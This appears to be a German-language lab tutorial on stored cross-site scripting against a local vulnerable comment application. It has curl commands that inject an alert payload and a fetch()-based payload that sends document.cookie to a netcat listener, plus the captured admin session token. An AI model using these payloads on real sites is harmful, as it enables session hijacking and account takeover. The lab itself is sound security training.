Einführung
Gespeichertes Cross-Site Scripting (Stored XSS) ist eine hochgefährliche Web-Schwachstelle, die auftritt, wenn eine Webanwendung Benutzereingaben entgegennimmt, diese in einer Datenbank speichert (z. B. in einem Kommentarbereich, Forenbeitrag oder Benutzerprofil) und diese Eingaben später ohne ordnungsgemäße Bereinigung (Sanitization) in eine Webseite einbettet.
Im Gegensatz zu Reflected XSS, bei dem ein Opfer dazu verleitet werden muss, einen speziell präparierten Link anzuklicken, ist Stored XSS persistent. Sobald die bösartige Payload in die Datenbank injiziert wurde, wird sie automatisch im Browser jedes Benutzers ausgeführt, der die infizierte Seite aufruft. Dies macht es zu einem unglaublich mächtigen Werkzeug für Angreifer, um Session-Cookies zu stehlen, Benutzer umzuleiten oder unbefugte Aktionen im Namen des Opfers durchzuführen.
Diese Persistenz macht Stored XSS besonders gefährlich. Der Angreifer führt die Injektion nur einmal durch, aber die Anwendung selbst spielt die Payload bei jedem zukünftigen Besucher erneut aus.
In diesem Lab interagieren Sie mit einer anfälligen lokalen Webanwendung. Sie lernen, wie Sie identifizieren, wo Benutzereingaben gespeichert werden, wie Sie eine persistente JavaScript-Payload injizieren und wie Sie ein Szenario simulieren, in dem das Session-Cookie eines Administrators gestohlen wird, sobald dieser Ihren injizierten Kommentar betrachtet.
Identifizierung der Eingabespeicherung (Kommentare/Profile)
In diesem Schritt interagieren Sie mit einer anfälligen Webanwendung, die lokal auf Ihrem Rechner läuft. Die Anwendung verfügt über einen einfachen Kommentarbereich, in dem Benutzer Nachrichten hinterlassen können.
Um eine Stored XSS-Schwachstelle auszunutzen, müssen Sie zunächst identifizieren, wo die Anwendung Benutzereingaben akzeptiert und wo diese Eingaben anschließend angezeigt werden. Wir verwenden das Befehlszeilentool curl, um mit dem Webserver zu interagieren.
Der Lebenszyklus von Stored XSS lässt sich in einem Satz zusammenfassen: Die Eingabe gelangt in die Anwendung, wird gespeichert und später im Browser eines anderen Benutzers gerendert.
Lassen Sie uns zunächst den aktuellen Zustand der Anwendung betrachten, indem wir eine GET-Anfrage an die Hauptseite senden. Führen Sie den folgenden Befehl in Ihrem Terminal aus:
curl http://localhost:5000/
Sie sollten eine leere Kommentarliste in der HTML-Ausgabe sehen:
<h1>Comments</h1><ul></ul>
Lassen Sie uns nun einen normalen Kommentar absenden, um zu sehen, wie die Anwendung unsere Eingabe verarbeitet und speichert. Wir verwenden curl mit dem Flag -X POST, um Daten an den Endpunkt /post zu senden. Führen Sie den folgenden Befehl aus:
curl -X POST -d "comment=Hello World" http://localhost:5000/post
Der Server sollte mit Comment added! antworten.
Um zu überprüfen, ob Ihre Eingabe dauerhaft in der Datenbank gespeichert wurde und nun auf der Webseite reflektiert wird, rufen Sie die Hauptseite erneut ab:
curl http://localhost:5000/
Sie werden nun sehen, dass Ihr Kommentar direkt in die HTML-Struktur eingebettet ist:
<h1>Comments</h1><ul><li>Hello World</li></ul>
Da die Anwendung unsere Eingabe entgegennimmt und sie ohne jegliche Filterung oder Bereinigung direkt in das HTML einfügt, ist sie höchstwahrscheinlich anfällig für Stored XSS.
Injizieren einer persistenten Payload
Nachdem wir bestätigt haben, dass die Anwendung unsere Eingaben speichert und reflektiert, werden wir versuchen, eine persistente JavaScript-Payload zu injizieren.
An diesem Punkt wird die Datenbank zu einem Mechanismus für die Auslieferung von Angriffen. Die Payload ist nicht mehr nur Text im Speicher; sie ist zukünftiger Skriptinhalt, der darauf wartet, gerendert zu werden.
In einem realen Szenario: Wenn ein Angreifer ein <script>-Tag in einen anfälligen Kommentarbereich injiziert, speichert der Server dieses Tag in seiner Datenbank. Wann immer ein Benutzer (einschließlich Administratoren) die Kommentarseite besucht, lädt sein Browser das HTML herunter, erkennt das <script>-Tag und führt den Code des Angreifers aus.
Lassen Sie uns eine klassische XSS-Proof-of-Concept-Payload injizieren, die ein Browser-Alert-Fenster auslöst. Führen Sie den folgenden Befehl aus, um den bösartigen Kommentar zu posten:
curl -X POST -d "comment=<script>alert('XSS')</script>" http://localhost:5000/post
Nachdem der Server bestätigt hat, dass der Kommentar hinzugefügt wurde, rufen Sie die Hauptseite ein weiteres Mal ab, um den HTML-Quellcode zu untersuchen:
curl http://localhost:5000/
Betrachten Sie die Ausgabe genau:
<h1>Comments</h1><ul><li>Hello World</li><li><script>alert('XSS')</script></li></ul>
Beachten Sie, dass die Payload <script>alert('XSS')</script> exakt so gerendert wird, wie wir sie eingegeben haben. Die Anwendung hat die spitzen Klammern (< und >) nicht in sichere HTML-Entities (wie < und >) umgewandelt.
Würde ein echter Benutzer diese Seite in einem Webbrowser wie Chrome oder Firefox öffnen, würde der Browser den injizierten Text nicht als Kommentar, sondern als ausführbares JavaScript interpretieren, und ein Alert-Fenster mit der Aufschrift "XSS" würde sofort auf seinem Bildschirm erscheinen.
Diebstahl von Session-Cookies (simuliert)
Während das Auslösen eines Alert-Fensters beweist, dass die Schwachstelle existiert, nutzen echte Angreifer XSS für bösartige Zwecke, wie etwa den Diebstahl von Session-Cookies. Wenn ein Angreifer das Session-Cookie eines Administrators stiehlt, kann er das Konto des Administrators übernehmen und die volle Kontrolle über die Webanwendung erlangen.
Um ein Cookie zu stehlen, injiziert ein Angreifer JavaScript, das das document.cookie des Opfers ausliest und an einen vom Angreifer kontrollierten Server sendet.
Zuerst müssen wir einen "Listener" einrichten, um das gestohlene Cookie abzufangen. Wir verwenden das Dienstprogramm nc (netcat), um auf Port 8000 zu lauschen und alle eingehenden HTTP-Anfragen in einer Datei namens stolen_cookie.txt zu speichern. Das & am Ende führt diesen Befehl im Hintergrund aus, sodass Sie Ihr Terminal weiterverwenden können.
nc -l -p 8000 > stolen_cookie.txt &
Als Nächstes injizieren wir unsere bösartige Payload in die anfällige Anwendung. Diese Payload verwendet die JavaScript fetch()-API, um im Hintergrund eine HTTP-Anfrage an unseren netcat-Listener zu senden und das Cookie des Opfers an die URL anzuhängen.
Führen Sie den folgenden Befehl aus, um die Cookie-Diebstahl-Payload zu injizieren:
curl -X POST -d "comment=<script>fetch('http://localhost:8000/?cookie=' + document.cookie)</script>" http://localhost:5000/post
Die Payload ist nun dauerhaft in der Datenbank gespeichert. Sie wartet darauf, dass ein Opfer die Seite besucht.
Simulation der Benutzerinteraktion
Bei einem echten Angriff wartet der Angreifer einfach darauf, dass Benutzer die infizierte Website besuchen. Da wir in einer Terminalumgebung ohne grafischen Webbrowser arbeiten, haben wir ein Python-Skript bereitgestellt, das einen Administrator simuliert, der die Seite besucht.
Dieses Skript verhält sich wie ein Webbrowser: Es liest die Kommentare aus der Datenbank, erkennt das von Ihnen injizierte <script>-Tag und "führt es aus", indem es die HTTP-Anfrage an Ihren netcat-Listener stellt und dabei ein simuliertes Administrator-Cookie mitsendet.
Führen Sie das Simulationsskript mit dem folgenden Befehl aus:
python3 simulate_victim.py
Sie sollten eine Ausgabe sehen, die darauf hinweist, dass der simulierte Administrator die Seite besucht hat und das injizierte Skript ausgeführt wurde:
Admin victim is visiting the page...
[Browser Simulator] Executing injected script...
Als der simulierte Browser Ihre Payload ausführte, sandte er eine HTTP-Anfrage an den netcat-Listener, den Sie im vorherigen Schritt gestartet haben. Netcat hat diese Anfrage abgefangen und in stolen_cookie.txt gespeichert.
Lassen Sie uns den Inhalt der Datei untersuchen, um zu sehen, ob wir das Session-Cookie des Administrators erfolgreich erfasst haben:
cat stolen_cookie.txt
Sie sollten die rohe HTTP GET-Anfrage sehen, die von netcat erfasst wurde und das gestohlene Cookie im URL-Pfad enthält:
GET /?cookie=admin_session=super_secret_admin_token_999 HTTP/1.1
Host: localhost:8000
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Herzlichen Glückwunsch! Sie haben erfolgreich eine Stored XSS-Schwachstelle ausgenutzt, um eine simulierte Benutzersitzung zu kapern. Mit diesem admin_session-Token könnte ein Angreifer seine eigenen Browser-Cookies modifizieren und sich auf der Webanwendung als Administrator ausgeben.
Zusammenfassung
In diesem Lab haben Sie erfolgreich eine Stored Cross-Site Scripting (XSS)-Schwachstelle untersucht und ausgenutzt. Sie haben gelernt, wie man Eingabefelder identifiziert, die Daten persistent speichern und ohne ordnungsgemäße HTML-Bereinigung wiedergeben. Anschließend haben Sie grundlegende JavaScript-Payloads injiziert, um das Vorhandensein der Schwachstelle zu bestätigen. Danach haben Sie eine bösartige Payload erstellt, die darauf ausgelegt ist, sensible Daten wie Session-Cookies an einen externen Listener zu exfiltrieren. Schließlich haben Sie die schwerwiegenden Auswirkungen von Stored XSS verstanden, indem Sie ein Szenario simuliert haben, in dem die Sitzung eines Administrators allein durch das Betrachten einer infizierten Seite kompromittiert wurde.
Stored XSS ist eine kritische Sicherheitslücke, da sie nach dem Platzieren der Payload kein Social Engineering mehr erfordert; die Anwendung selbst liefert den Angriff an ihre Benutzer aus. Um diese Schwachstellen zu verhindern, müssen Entwickler stets eine strikte Eingabevalidierung und kontextabhängige Ausgabekodierung (wie das Umwandeln von < in <) implementieren, bevor benutzerdefinierte Daten in einem Webbrowser gerendert werden.



